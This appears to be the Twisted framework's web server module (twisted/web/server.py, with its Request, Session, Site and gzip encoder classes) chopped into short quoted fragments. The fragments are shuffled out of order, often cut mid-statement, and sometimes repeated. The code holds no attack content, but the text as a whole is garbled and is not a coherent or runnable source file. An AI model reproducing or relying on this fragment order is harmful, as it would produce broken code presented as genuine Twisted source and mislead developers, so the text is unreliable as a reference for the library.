view_finish(self, issuer): \"\"\"Remote version", "data on the fly. \"\"\" if not self._request.startedWriting: # Remove", "== b\"0\") if ( needsCT and contentType is None and", "# resource doesn't, fake it by giving the resource #", "end except UnsupportedMethod if body is NOT_DONE_YET: return if not", "b\"%d\" % (len(body),)) self.write(body) self.finish() def processingFailed(self, reason): \"\"\" Finish", "-*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE", "is None: reactor = site.reactor self._reactor = reactor self.site =", "remote): self.resumeProducing = remote.remoteMethod(\"resumeProducing\") self.pauseProducing = remote.remoteMethod(\"pauseProducing\") self.stopProducing = remote.remoteMethod(\"stopProducing\")", "self._log.failure(\"\", failure=reason) if self.site.displayTracebacks: body = ( b\"<html><head><title>web.Server Traceback\" b\"", "We must support HEAD (RFC 2616, 5.1.1). If the #", "None __pychecker__ = \"unusednames=issuer\" _inFakeHead = False _encoder = None", "processing failed and possibly display a traceback. @param reason: Reason", "Finish handling the request request, flushing any data from the", "Overwrite for default requestFactory. @type requestFactory: C{callable} or C{class}. @see:", "If the resource does not support the requested method, generate", "include the content length. else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self._inFakeHead", "a resource for a request. This iterates through the resource", "does not support the requested method, generate a C{NOT IMPLEMENTED}", "process(self): \"\"\" Process a request. Find the addressed resource in", "= None prepath: Optional[List[bytes]] = None postpath: Optional[List[bytes]] = None", "= self.sessionFactory(self, uid) session.startCheckingExpiration() return session def getSession(self, uid): \"\"\"", "path): from twisted.python import logfile return logfile.LogFile(os.path.basename(path), os.path.dirname(path)) def __getstate__(self):", "an OPTIONS * request as being something that a client", "details. \"\"\" This is a web server which integrates with", "= contentLength and (contentLength[0] == b\"0\") if ( needsCT and", "14.7) self.setHeader(b\"Allow\", b\", \".join(allowedMethods)) s = ( \"\"\"Your browser approached", "We MUST include an Allow header # (RFC 2616, 10.4.6", "use for scheduling expiration. @ivar sessionTimeout: Time after last modification", "return self.sessions[uid] def buildProtocol(self, addr): \"\"\" Generate a channel attached", "tracking. @return: L{None} \"\"\" self._expireCall = self._reactor.callLater(self.sessionTimeout, self.expire) def notifyOnExpire(self,", "prefix = networkString( \"http%s://%s%s/\" % ( self.isSecure() and \"s\" or", "None: reactor = site.reactor self._reactor = reactor self.site = site", "request you can set C{forceNotSecure = True}. @param forceNotSecure: Should", "the text that links to a sibling of the requested", "with be secure for HTTPS requests and not secure for", "= self.responseHeaders.getRawHeaders(b\"content-length\") contentLengthZero = contentLength and (contentLength[0] == b\"0\") if", "e.allowedMethods if (self.method == b\"HEAD\") and (b\"GET\" in allowedMethods): #", "= \"unusednames=issuer\" _inFakeHead = False _encoder = None _log =", "delivered over HTTPS? @type forceNotSecure: L{bool} \"\"\" # Make sure", "try: session = self.site.getSession(sessionCookie) except KeyError: pass # if it", "self._expireCall.reset(self.sessionTimeout) version = networkString(f\"TwistedWeb/{copyright.version}\") @implementer(interfaces.IProtocolNegotiationFactory) class Site(http.HTTPFactory): \"\"\" A web", "_log = Logger() def __init__(self, *args, **kw): http.Request.__init__(self, *args, **kw)", "store it for future reference. \"\"\" uid = self._mkuid() session", "def write(self, data): \"\"\" Write data to the transport (if", "lpp = len(self.postpath) if lpp > 1: return ((lpp -", "after last modification the session will expire, in seconds. @type", "self.lastModified = self._reactor.seconds() if self._expireCall is not None: self._expireCall.reset(self.sessionTimeout) version", "encoding = request.responseHeaders.getRawHeaders(b\"content-encoding\") if encoding: encoding = b\",\".join(encoding + [b\"gzip\"])", "We omit it on # NOT_MODIFIED and NO_CONTENT responses. We", "self.setHeader(k, v) def view_setLastModified(self, issuer, when): \"\"\"Remote version of setLastModified;", "gets a 405 Method Not Allowed telling the client they", "resource. @param name: The sibling resource @type name: C{bytes} @return:", "\"Warning: HEAD request {slf} for resource {resrc} is\" \" returning", "Only let the write happen if we're not generating a", "text that links to a child of the requested resource.", "x in allowedMethods]), } ) epage = resource.ErrorPage(http.NOT_ALLOWED, \"Method Not", "this L{Request} was delivered over HTTPS? @type forceNotSecure: L{bool} \"\"\"", "if the request headers do not indicate a length. \"\"\"", "other value is set. L{None} disables the default. @ivar _insecureSession:", "L{Session}. @ivar sessions: Mapping of session IDs to objects returned", "This is a web server which integrates with the twisted.internet", "Check the headers if the client accepts gzip encoding, and", "streaming): \"\"\"Remote version of registerProducer; same interface. (requires a remote", "self.postpath = list(map(unquote, self.path[1:].split(b\"/\"))) # Short-circuit for requests whose path", "self.setHeader(b\"date\", http.datetimeToString()) # Resource Identification self.prepath = [] self.postpath =", "*args, **kwargs).encode(\"charmap\") def _addressToTuple(addr): if isinstance(addr, address.IPv4Address): return (\"INET\", addr.host,", "the user with this, we simply fast-path it back to", "copy import os import re from html import escape from", "this attribute out; it's from protocol # del x['server'] del", "session is not found. \"\"\" return self.sessions[uid] def buildProtocol(self, addr):", "Refresh the session, to keep it alive. session.touch() except (AlreadyCalled,", ") # Oh well, I guess we won't include the", "C{http.Request.finish} for possible encoding. \"\"\" if self._encoder: data = self._encoder.finish()", "self.sessions[uid] def buildProtocol(self, addr): \"\"\" Generate a channel attached to", "_zlibCompressor = None def __init__(self, compressLevel, request): self._zlibCompressor = zlib.compressobj(", "b\"</title></head><body>\" b\"<b>Processing Failed</b></body></html>\" ) self.setResponseCode(http.INTERNAL_SERVER_ERROR) self.setHeader(b\"content-type\", b\"text/html\") self.setHeader(b\"content-length\", b\"%d\" %", "The number of sessions that have been generated. @type counter:", "ViewPoint from twisted.internet import address, interfaces from twisted.internet.error import AlreadyCalled,", "self.method = b\"HEAD\" self.write(b\"\") self.finish() return if self.method in (supportedMethods):", "supplied. We omit it on # NOT_MODIFIED and NO_CONTENT responses.", "# get site from channel self.site = self.channel.site # set", "( b\"<html><head><title>web.Server Traceback\" b\" (most recent call last)</title></head>\" b\"<body><b>web.Server Traceback\"", "for x in allowedMethods]), } ) epage = resource.ErrorPage(http.NOT_ALLOWED, \"Method", "del self.site.sessions[self.uid] for c in self.expireCallbacks: c() self.expireCallbacks = []", "Logger() def __init__(self, *args, **kw): http.Request.__init__(self, *args, **kw) components.Componentized.__init__(self) def", "to fake a HEAD request for {resrc}\", resrc=resrc ) self.method", "b\"\\n\\n</body></html>\\n\" ) else: body = ( b\"<html><head><title>Processing Failed\" b\"</title></head><body>\" b\"<b>Processing", "+ name elif lpp == 1: return name else: #", "BaseException: self.processingFailed(failure.Failure()) def write(self, data): \"\"\" Write data to the", "The L{Session} object representing state that will be transmitted over", "secure session on a non-secure page secure = self.isSecure() and", "((lpp - 1) * b\"../\") + name elif lpp ==", "\"\"\" self.registerProducer(_RemoteProducerWrapper(producer), streaming) def view_unregisterProducer(self, issuer): self.unregisterProducer() ### these calls", "of the requested resource. @param name: The child resource @type", "# set various default headers self.setHeader(b\"server\", version) self.setHeader(b\"date\", http.datetimeToString()) #", "Laboratories. # See LICENSE for details. \"\"\" This is a", "self.method == b\"OPTIONS\": self.setResponseCode(http.OK) else: self.setResponseCode(http.NOT_ALLOWED) self.setHeader(b\"Allow\", b\"OPTIONS\") # RFC", ") self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(b\"\") else: self.setHeader(b\"content-length\", b\"%d\" %", "% port prefix = networkString( \"http%s://%s%s/\" % ( self.isSecure() and", "resource @type name: C{bytes} @return: A relative URL. @rtype: C{bytes}", "= b\"text/html\" site = None appRootURL = None prepath: Optional[List[bytes]]", "it for future reference. \"\"\" uid = self._mkuid() session =", "resource if requestFactory is not None: self.requestFactory = requestFactory def", "self.content = getContentFile(length) def process(self): \"\"\" Process a request. Find", "name def childLink(self, name): \"\"\" Return the text that links", ") else: body = ( b\"<html><head><title>Processing Failed\" b\"</title></head><body>\" b\"<b>Processing Failed</b></body></html>\"", "epage = resource.ErrorPage(http.NOT_ALLOWED, \"Method Not Allowed\", s) body = epage.render(self)", "GzipEncoderFactory: \"\"\" @cvar compressLevel: The compression level used by the", "length) else: self.content = getContentFile(length) def process(self): \"\"\" Process a", "are doing that, # startedWriting will never be true, and", "if sessionCookie: try: session = self.site.getSession(sessionCookie) except KeyError: pass #", "None: self._encoder = encoder self.render(resrc) except BaseException: self.processingFailed(failure.Failure()) def write(self,", "links to a child of the requested resource. @param name:", "= getContentFile(length) def process(self): \"\"\" Process a request. Find the", "= None appRootURL = None prepath: Optional[List[bytes]] = None postpath:", "request's L{Site}, and call L{self.render()<Request.render()>} with it. @see: L{Site.getResourceFor()} \"\"\"", "a Site is always a directory. \"\"\" request.redirect(request.prePathURL() + b\"/\")", "twisted.web import resource from twisted.web.error import UnsupportedMethod from incremental import", "(RFC 2616, 5.1.1). If the # resource doesn't, fake it", "# Resource Identification self.prepath = [] self.postpath = list(map(unquote, self.path[1:].split(b\"/\")))", "getContentFile = self.channel.site.getContentFile except AttributeError: http.Request.gotLength(self, length) else: self.content =", "return hexlify(self._entropy(32)) def makeSession(self): \"\"\" Generate a new Session instance,", "self.expireCallbacks.append(callback) def expire(self): \"\"\" Expire/logout of the session. \"\"\" del", "0 when responding to this # with no body. self.setHeader(b\"Content-Length\",", "fake a HEAD request for {resrc}, but \" \"it got", "def view_setResponseCode(self, issuer, code, message=None): \"\"\" Remote version of setResponseCode;", "requests. If for some reason you need access to the", "because a Site is always a directory. \"\"\" request.redirect(request.prePathURL() +", "relative URL. @rtype: C{bytes} \"\"\" if self.postpath: return (len(self.postpath) *", "(highest). @since: 12.3 \"\"\" _gzipCheckRegex = re.compile(br\"(:?^|[\\s,])gzip(:?$|[\\s,])\") compressLevel = 9", "twisted.python.deprecate import deprecatedModuleAttribute from twisted.logger import Logger NOT_DONE_YET = 1", "x = self.__dict__.copy() del x[\"transport\"] # XXX refactor this attribute", "\", \".join([nativeString(x) for x in allowedMethods]), } ) epage =", "b\",\".join( request.requestHeaders.getRawHeaders(b\"accept-encoding\", []) ) if self._gzipCheckRegex.search(acceptHeaders): encoding = request.responseHeaders.getRawHeaders(b\"content-encoding\") if", "self.setETag(tag) def view_setResponseCode(self, issuer, code, message=None): \"\"\" Remote version of", "if (self.method == b\"HEAD\") and (b\"GET\" in allowedMethods): # We", "and (b\"GET\" in allowedMethods): # We must support HEAD (RFC", "addCookie; same interface.\"\"\" self.addCookie(k, v, **kwargs) def view_setHeader(self, issuer, k,", "to 9 (highest). @since: 12.3 \"\"\" _gzipCheckRegex = re.compile(br\"(:?^|[\\s,])gzip(:?$|[\\s,])\") compressLevel", "with (channel) and creates L{Request} instances. Default to L{Request}. @ivar", "may be implemented on a per-resource basis. supportedMethods = (b\"GET\",", "@type forceNotSecure: L{bool} \"\"\" # Make sure we aren't creating", "the request body, as indicated by the request headers. L{None}", "access to the insecure cookie from a secure request you", "HTTP, even if this L{Request} was delivered over HTTPS? @type", "forceNotSecure: L{bool} \"\"\" # Make sure we aren't creating a", "return name def gotLength(self, length): \"\"\" Called when HTTP channel", "URL. @rtype: C{bytes} \"\"\" if self.postpath: return (len(self.postpath) * b\"../\")", "disables the default. @ivar _insecureSession: The L{Session} object representing state", "user's session. \"\"\" self.counter = self.counter + 1 return hexlify(self._entropy(32))", "_mkuid(self): \"\"\" (internal) Generate an opaque, unique ID for a", "def processingFailed(self, reason): \"\"\" Finish this request with an indication", "len(self.postpath) if lpp > 1: return ((lpp - 1) *", "= [ \"supportedMethods\", \"Request\", \"Session\", \"Site\", \"version\", \"NOT_DONE_YET\", \"GzipEncoderFactory\", ]", "\"twisted.web.server\", \"string_date_time\", ) date_time_string = http.datetimeToString string_date_time = http.stringToDatetime #", "Failed</b></body></html>\" ) self.setResponseCode(http.INTERNAL_SERVER_ERROR) self.setHeader(b\"content-type\", b\"text/html\") self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body)", "\"\"\"Remote version of setETag; same interface.\"\"\" self.setETag(tag) def view_setResponseCode(self, issuer,", "import address, interfaces from twisted.internet.error import AlreadyCalled, AlreadyCancelled from twisted.web", "eat it.\", slf=self, resrc=resrc, ) self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(b\"\")", "created). A UNIX timestamp as returned by L{IReactorTime.seconds()}. @type lastModified:", "and resources. @ivar requestFactory: A factory which is called with", "Mapping of session IDs to objects returned by C{sessionFactory}. @type", "the responseHeaders # once though, so it's still okay. if", "C{sessionFactory}. @type sessions: L{dict} mapping L{bytes} to L{Session} given the", "{ \"URI\": escape(nativeString(self.uri)), \"method\": nativeString(self.method), \"plural\": ((len(allowedMethods) > 1) and", "= request.responseHeaders.getRawHeaders(b\"content-encoding\") if encoding: encoding = b\",\".join(encoding + [b\"gzip\"]) else:", "not support the requested method, generate a C{NOT IMPLEMENTED} or", "a request. Find the addressed resource in this request's L{Site},", "\"\"\" request.site = self return self.resource.getChildWithDefault(pathEl, request) def getResourceFor(self, request):", "is\" \" returning a message body. I think I'll eat", "not responding to a HEAD request). @param data: A string", "http.Request.write(self, data) def finish(self): \"\"\" Override C{http.Request.finish} for possible encoding.", "will only actually change the responseHeaders # once though, so", "interface.\"\"\" self.addCookie(k, v, **kwargs) def view_setHeader(self, issuer, k, v): \"\"\"Remote", "# XXX refactor this attribute out; it's from protocol #", "None appRootURL = None prepath: Optional[List[bytes]] = None postpath: Optional[List[bytes]]", "the session that matches the security of the request; so", "secure for HTTP requests. If for some reason you need", "No session was created yet for this request. cookiename =", "self._gzipCheckRegex.search(acceptHeaders): encoding = request.responseHeaders.getRawHeaders(b\"content-encoding\") if encoding: encoding = b\",\".join(encoding +", "system. This utility class contains no functionality, but is used", "(at %(URI)s) with\"\"\" \"\"\" the method \"%(method)s\". I only allow\"\"\"", "requestFactory def _openLogFile(self, path): from twisted.python import logfile return logfile.LogFile(os.path.basename(path),", "self.setLastModified(when) def view_setETag(self, issuer, tag): \"\"\"Remote version of setETag; same", "# Header objects also aren't jellyable. x[\"requestHeaders\"] = list(x[\"requestHeaders\"].getAllRawHeaders()) return", "else: default = 80 if port == default: hostport =", "\"\"\" Remember the currently-processed part of the URL for later", "indicated by the request headers. L{None} if the request headers", "remain class _RemoteProducerWrapper: def __init__(self, remote): self.resumeProducing = remote.remoteMethod(\"resumeProducing\") self.pauseProducing", "def makeSession(self): \"\"\" Generate a new Session instance, and store", "return (len(self.postpath) * b\"../\") + name else: return name def", "value is set. L{None} disables the default. @ivar _insecureSession: The", "\"\" else: hostport = \":%d\" % port prefix = networkString(", "(supportedMethods): # We MUST include an Allow header # (RFC", "= 900 _expireCall = None def __init__(self, site, uid, reactor=None):", "use twisted.web.http.datetimeToString instead\", \"twisted.web.server\", \"date_time_string\", ) deprecatedModuleAttribute( Version(\"Twisted\", 12, 1,", "self._encoder.encode(data) http.Request.write(self, data) def finish(self): \"\"\" Override C{http.Request.finish} for possible", "The resource to render. @type resrc: L{twisted.web.resource.IResource} @see: L{IResource.render()<twisted.web.resource.IResource.render()>} \"\"\"", "session.startCheckingExpiration() return session def getSession(self, uid): \"\"\" Get a previously", "self.channel.site.getContentFile except AttributeError: http.Request.gotLength(self, length) else: self.content = getContentFile(length) def", "encoding. \"\"\" if self._encoder: data = self._encoder.finish() if data: http.Request.write(self,", "@type site: L{Site} @ivar uid: A unique identifier for the", "http.Request.finish(self) def render(self, resrc): \"\"\" Ask a resource to render", "x # HTML generation helpers def sibLink(self, name): \"\"\" Return", "think I'll eat it.\", slf=self, resrc=resrc, ) self.setHeader(b\"content-length\", b\"%d\" %", "used to schedule expiration of the session. If C{None}, the", "browser approached me (at %(URI)s) with\"\"\" \"\"\" the method \"%(method)s\".", "from twisted.internet.error import AlreadyCalled, AlreadyCancelled from twisted.web import iweb, http,", "to a sibling of the requested resource. @param name: The", "set C{forceNotSecure = True}. @param forceNotSecure: Should we retrieve a", "L{Request} instances. Default to L{Request}. @ivar displayTracebacks: If set, unhandled", "L{twisted.web.resource.IResource} @see: L{IResource.render()<twisted.web.resource.IResource.render()>} \"\"\" try: body = resrc.render(self) except UnsupportedMethod", "from twisted.python.compat import networkString, nativeString from twisted.spread.pb import Copyable, ViewPoint", "a session. @ivar site: The L{Site} that generated the session.", "web server which integrates with the twisted.internet infrastructure. @var NOT_DONE_YET:", "self.appRootURL def _handleStar(self): \"\"\" Handle receiving a request whose path", "self._encoder.finish() if data: http.Request.write(self, data) return http.Request.finish(self) def render(self, resrc):", "self.touch() self.sessionNamespaces = {} def startCheckingExpiration(self): \"\"\" Start expiration tracking.", "self._zlibCompressor.flush() self._zlibCompressor = None return remain class _RemoteProducerWrapper: def __init__(self,", "encoder is not None: self._encoder = encoder self.render(resrc) except BaseException:", "version of setLastModified; same interface.\"\"\" self.setLastModified(when) def view_setETag(self, issuer, tag):", "def __init__(self, resource, requestFactory=None, *args, **kwargs): \"\"\" @param resource: The", "for other methods may be implemented on a per-resource basis.", "tag): \"\"\"Remote version of setETag; same interface.\"\"\" self.setETag(tag) def view_setResponseCode(self,", "a sibling of the requested resource. @param name: The sibling", "__init__(self, *args, **kw): http.Request.__init__(self, *args, **kw) components.Componentized.__init__(self) def getStateToCopyFor(self, issuer):", "self._expireCall is not None: self._expireCall.reset(self.sessionTimeout) version = networkString(f\"TwistedWeb/{copyright.version}\") @implementer(interfaces.IProtocolNegotiationFactory) class", "(channel) and creates L{Request} instances. Default to L{Request}. @ivar displayTracebacks:", "A web site: manage log, sessions, and resources. @ivar requestFactory:", "@ivar lastModified: Time the C{touch()} method was last called (or", "c() self.expireCallbacks = [] if self._expireCall and self._expireCall.active(): self._expireCall.cancel() #", "no functionality, but is used to represent a session. @ivar", "C{bytes} @return: A relative URL. @rtype: C{bytes} \"\"\" if self.postpath:", "logic may run # multiple times. It will only actually", "for requests received by this factory will begin at this", "plain-text HTTP. @ivar _secureSession: The L{Session} object representing the state", "**kwargs): \"\"\" @param resource: The root of the resource hierarchy.", "write(self, data): \"\"\" Write data to the transport (if not", "bytes): body = resource.ErrorPage( http.INTERNAL_SERVER_ERROR, \"Request did not return bytes\",", "as empty bodies don't need # a content-type. needsCT =", "b\" (most recent call last):</b>\\n\\n\" + util.formatFailure(reason) + b\"\\n\\n</body></html>\\n\" )", "will return that object. (This will always be the session", "(len(body),)) self.write(b\"\") else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body) self.finish() def", "channel isLeaf = 0 def render(self, request): \"\"\" Redirect because", "to C{False}. @ivar sessionFactory: factory for sessions objects. Default to", "sibling of the requested resource. @param name: The sibling resource", "session. try: # Refresh the session, to keep it alive.", "requestFactory = Request displayTracebacks = False sessionFactory = Session sessionCheckTime", "forceNotSecure if not secure: cookieString = b\"TWISTED_SESSION\" sessionAttribute = \"_insecureSession\"", "b\"TWISTED_SECURE_SESSION\" sessionAttribute = \"_secureSession\" session = getattr(self, sessionAttribute) if session", "cookie names between distributed # servers and disconnected sites. request.sitepath", "# We have a previously created session. try: # Refresh", "addr): \"\"\" Generate a channel attached to this site. \"\"\"", "pass # if it still hasn't been set, fix it", "= 443 else: default = 80 if port == default:", "not found. \"\"\" return self.sessions[uid] def buildProtocol(self, addr): \"\"\" Generate", "compressor instance used to compress the stream. @ivar _request: A", "last):</b>\\n\\n\" + util.formatFailure(reason) + b\"\\n\\n</body></html>\\n\" ) else: body = (", "session.) @return: the session attribute @rtype: L{Session} or L{None} \"\"\"", "(\"UNIX\", addr.name) else: return tuple(addr) @implementer(iweb.IRequest) class Request(Copyable, http.Request, components.Componentized):", "name): \"\"\" Return the text that links to a sibling", "\"\"\" self._expireCall = self._reactor.callLater(self.sessionTimeout, self.expire) def notifyOnExpire(self, callback): \"\"\" Call", "reactor = site.reactor self._reactor = reactor self.site = site self.uid", "expire, in seconds. @type sessionTimeout: L{float} @ivar lastModified: Time the", "request.\" % (escape(self.method.decode(\"charmap\")),), ) body = epage.render(self) # end except", "else: self.content = getContentFile(length) def process(self): \"\"\" Process a request.", "name: C{bytes} @return: A relative URL. @rtype: C{bytes} \"\"\" if", "self.expireCallbacks: c() self.expireCallbacks = [] if self._expireCall and self._expireCall.active(): self._expireCall.cancel()", "name: The child resource @type name: C{bytes} @return: A relative", "12, 1, 0), \"Please use twisted.web.http.datetimeToString instead\", \"twisted.web.server\", \"date_time_string\", )", "true. \"\"\" request.site = self # Sitepath is used to", "reference cycle. self._expireCall = None def touch(self): \"\"\" Mark the", "to this site. \"\"\" channel = super().buildProtocol(addr) channel.requestFactory = self.requestFactory", "_addressToTuple(x[\"host\"]) x[\"client\"] = _addressToTuple(x[\"client\"]) # Header objects also aren't jellyable.", "self.prepath[-1]: return self.prepath[-1] + b\"/\" + name else: return name", "sessionCheckTime = 1800 _entropy = os.urandom def __init__(self, resource, requestFactory=None,", "an Allow header # (RFC 2616, 10.4.6 and 14.7) self.setHeader(b\"Allow\",", "0 if len(self.prepath) and self.prepath[-1]: return self.prepath[-1] + b\"/\" +", "as a low-effort way to probe server capabilities or readiness.", "client they can only use OPTIONS. \"\"\" if self.method ==", "HTTP request. @ivar defaultContentType: A L{bytes} giving the default I{Content-Type}", "the originating request. @since: 12.3 \"\"\" _zlibCompressor = None def", "resource.ErrorPage( http.INTERNAL_SERVER_ERROR, \"Request did not return bytes\", \"Request: \" +", "_secureSession: The L{Session} object representing the state that will be", "if not isinstance(body, bytes): body = resource.ErrorPage( http.INTERNAL_SERVER_ERROR, \"Request did", "or L{None} \"\"\" if self.isSecure(): return self._secureSession else: return self._insecureSession", "= b\"gzip\" request.responseHeaders.setRawHeaders(b\"content-encoding\", [encoding]) return _GzipEncoder(self.compressLevel, request) @implementer(iweb._IRequestEncoder) class _GzipEncoder:", "it hits an element where isLeaf is true. \"\"\" request.site", "and call L{self.render()<Request.render()>} with it. @see: L{Site.getResourceFor()} \"\"\" # get", "return self._secureSession else: return self._insecureSession def getSession(self, sessionInterface=None, forceNotSecure=False): \"\"\"", "compress the stream. @ivar _request: A reference to the originating", "\"\"\"Remote version of setLastModified; same interface.\"\"\" self.setLastModified(when) def view_setETag(self, issuer,", "was delivered over HTTPS? @type forceNotSecure: L{bool} \"\"\" # Make", "= remote.remoteMethod(\"resumeProducing\") self.pauseProducing = remote.remoteMethod(\"pauseProducing\") self.stopProducing = remote.remoteMethod(\"stopProducing\") class Session(components.Componentized):", "x[\"requestHeaders\"] = list(x[\"requestHeaders\"].getAllRawHeaders()) return x # HTML generation helpers def", "self.addCookie(k, v, **kwargs) def view_setHeader(self, issuer, k, v): \"\"\"Remote version", "connection should be left open. @type NOT_DONE_YET: Opaque; do not", "name: C{bytes} @return: A relative URL. @rtype: C{bytes} \"\"\" lpp", "of content in this request. This method is not intended", "\"\"\" @cvar compressLevel: The compression level used by the compressor,", "the method%(plural)s %(allowed)s here.\"\"\" % { \"URI\": escape(nativeString(self.uri)), \"method\": nativeString(self.method),", "accepts gzip encoding, and encodes the request if so. \"\"\"", "A UNIX timestamp as returned by L{IReactorTime.seconds()}. @type lastModified: L{float}", "request.site = self return self.resource.getChildWithDefault(pathEl, request) def getResourceFor(self, request): \"\"\"", "fake it by giving the resource # a 'GET' request", "the twisted.internet infrastructure. @var NOT_DONE_YET: A token value which L{twisted.web.resource.IResource.render}", "self.setHeader(b\"Allow\", b\"OPTIONS\") # RFC 7231 says we MUST set content-length", "needsCT and contentType is None and self.defaultContentType is not None", "\"\"\" If a session has already been created or looked", "session.getComponent(sessionInterface) return session def _prePathURL(self, prepath): port = self.getHost().port if", "request as being something that a client can send as", "\"\"\"Your browser approached me (at %(URI)s) with\"\"\" \"\"\" the method", "needsCT = self.code not in (http.NOT_MODIFIED, http.NO_CONTENT) contentType = self.responseHeaders.getRawHeaders(b\"content-type\")", "this will not return that session.) @return: the session attribute", "L{IReactorTime} to use for scheduling expiration. @ivar sessionTimeout: Time after", "session) if sessionInterface: return session.getComponent(sessionInterface) return session def _prePathURL(self, prepath):", "seconds. @type sessionTimeout: L{float} @ivar lastModified: Time the C{touch()} method", "(http.NOT_MODIFIED, http.NO_CONTENT) contentType = self.responseHeaders.getRawHeaders(b\"content-type\") contentLength = self.responseHeaders.getRawHeaders(b\"content-length\") contentLengthZero =", "= None return remain class _RemoteProducerWrapper: def __init__(self, remote): self.resumeProducing", "def encoderForRequest(self, request): \"\"\" Check the headers if the client", "_inFakeHead = False _encoder = None _log = Logger() def", "that object. (This will always be the session that matches", "sibLink(self, name): \"\"\" Return the text that links to a", "the fly. self._request.responseHeaders.removeHeader(b\"content-length\") return self._zlibCompressor.compress(data) def finish(self): \"\"\" Finish handling", "postpath: Optional[List[bytes]] = None __pychecker__ = \"unusednames=issuer\" _inFakeHead = False", "not, create it. By default, the cookie with be secure", "site: L{Site} @ivar uid: A unique identifier for the session.", "open. @type NOT_DONE_YET: Opaque; do not depend on any particular", ") deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0), \"Please use twisted.web.http.stringToDatetime instead\",", "Oh well, I guess we won't include the content length.", "body = resrc.render(self) except UnsupportedMethod as e: allowedMethods = e.allowedMethods", "(or time the session was created). A UNIX timestamp as", "setLastModified; same interface.\"\"\" self.setLastModified(when) def view_setETag(self, issuer, tag): \"\"\"Remote version", "session with a unique ID for that session. @param reactor:", "\"Site\", \"version\", \"NOT_DONE_YET\", \"GzipEncoderFactory\", ] # backwards compatibility deprecatedModuleAttribute( Version(\"Twisted\",", "RFC 7231 defines an OPTIONS * request as being something", "returned to the client as HTML. Default to C{False}. @ivar", "already been created or looked up with L{Request.getSession}, this will", "% (len(body),)) self.write(b\"\") else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body) self.finish()", "self.setResponseCode(http.NOT_ALLOWED) self.setHeader(b\"Allow\", b\"OPTIONS\") # RFC 7231 says we MUST set", "All request traversal for requests received by this factory will", "not indicate a length. \"\"\" try: getContentFile = self.channel.site.getContentFile except", "session with a system. This utility class contains no functionality,", "(requires a remote producer.) \"\"\" self.registerProducer(_RemoteProducerWrapper(producer), streaming) def view_unregisterProducer(self, issuer):", "Break reference cycle. self._expireCall = None def touch(self): \"\"\" Mark", "value which L{twisted.web.resource.IResource.render} implementations can return to indicate that the", "getContentFile(length) def process(self): \"\"\" Process a request. Find the addressed", "\"\"\"Remote version of setHeader; same interface.\"\"\" self.setHeader(k, v) def view_setLastModified(self,", "was last called (or time the session was created). A", "Version(\"Twisted\", 12, 1, 0), \"Please use twisted.web.http.datetimeToString instead\", \"twisted.web.server\", \"date_time_string\",", "distributed # servers and disconnected sites. request.sitepath = copy.copy(request.prepath) return", "sessions that have been generated. @type counter: L{int} @ivar sessionCheckTime:", "% (len(body),)) self.write(body) self.finish() return reason def view_write(self, issuer, data):", "uid = self._mkuid() session = self.sessions[uid] = self.sessionFactory(self, uid) session.startCheckingExpiration()", "# Session has already expired. session = None if session", "= self.requestFactory channel.site = self return channel isLeaf = 0", "so if C{forceNotSecure} is used on a secure request, this", "the session. If C{None}, the reactor associated with I{site} is", "in self.expireCallbacks: c() self.expireCallbacks = [] if self._expireCall and self._expireCall.active():", "\"\"\" request.redirect(request.prePathURL() + b\"/\") request.finish() def getChildWithDefault(self, pathEl, request): \"\"\"", "channel.requestFactory = self.requestFactory channel.site = self return channel isLeaf =", "Sitepath is used to determine cookie names between distributed #", "it back to an empty 200 OK. Any non-OPTIONS verb", "which supports gzip. @ivar _zlibCompressor: The zlib compressor instance used", "2616, 9.4) self._log.info( \"Warning: HEAD request {slf} for resource {resrc}", "return http.Request.finish(self) def render(self, resrc): \"\"\" Ask a resource to", "self.write(b\"\") else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body) self.finish() def processingFailed(self,", "= list(x[\"requestHeaders\"].getAllRawHeaders()) return x # HTML generation helpers def sibLink(self,", "from channel self.site = self.channel.site # set various default headers", "on a per-resource basis. supportedMethods = (b\"GET\", b\"HEAD\", b\"POST\") def", "# We must support HEAD (RFC 2616, 5.1.1). If the", "reflect, failure, components from twisted import copyright from twisted.web import", "resource._IEncodingResource.providedBy(resrc): encoder = resrc.getEncoder(self) if encoder is not None: self._encoder", "a path element, stopping when it hits an element where", "@type sessions: L{dict} mapping L{bytes} to L{Session} given the default", "= super().buildProtocol(addr) channel.requestFactory = self.requestFactory channel.site = self return channel", "\"\"\" # Make sure we aren't creating a secure session", "compress on the fly. self._request.responseHeaders.removeHeader(b\"content-length\") return self._zlibCompressor.compress(data) def finish(self): \"\"\"", "do not indicate a length. \"\"\" try: getContentFile = self.channel.site.getContentFile", "given the default C{sessionFactory} @ivar counter: The number of sessions", "request if so. \"\"\" acceptHeaders = b\",\".join( request.requestHeaders.getRawHeaders(b\"accept-encoding\", []) )", "remain = self._zlibCompressor.flush() self._zlibCompressor = None return remain class _RemoteProducerWrapper:", "to complete the request, and that the HTTP connection should", "self.getCookie(cookiename) if sessionCookie: try: session = self.site.getSession(sessionCookie) except KeyError: pass", "c in self.expireCallbacks: c() self.expireCallbacks = [] if self._expireCall and", "[] if self._expireCall and self._expireCall.active(): self._expireCall.cancel() # Break reference cycle.", "L{Request} was delivered over HTTPS? @type forceNotSecure: L{bool} \"\"\" #", "will not return that session.) @return: the session attribute @rtype:", "it up. if not session: session = self.site.makeSession() self.addCookie(cookiename, session.uid,", "the cookie with be secure for HTTPS requests and not", "getChildWithDefault(self, pathEl, request): \"\"\" Emulate a resource's getChild method. \"\"\"", "recalling. \"\"\" url = self._prePathURL(self.prepath[:-1]) self.appRootURL = url def getRootURL(self):", "= [] if self._expireCall and self._expireCall.active(): self._expireCall.cancel() # Break reference", "0, as empty bodies don't need # a content-type. needsCT", "\"\"\" Start expiration tracking. @return: L{None} \"\"\" self._expireCall = self._reactor.callLater(self.sessionTimeout,", "generation helpers def sibLink(self, name): \"\"\" Return the text that", "request has failed. @type reason: L{twisted.python.failure.Failure} @return: The reason passed", "over HTTPS? @type forceNotSecure: L{bool} \"\"\" # Make sure we", "or readiness. Rather than bother the user with this, we", "import implementer from twisted.python.compat import networkString, 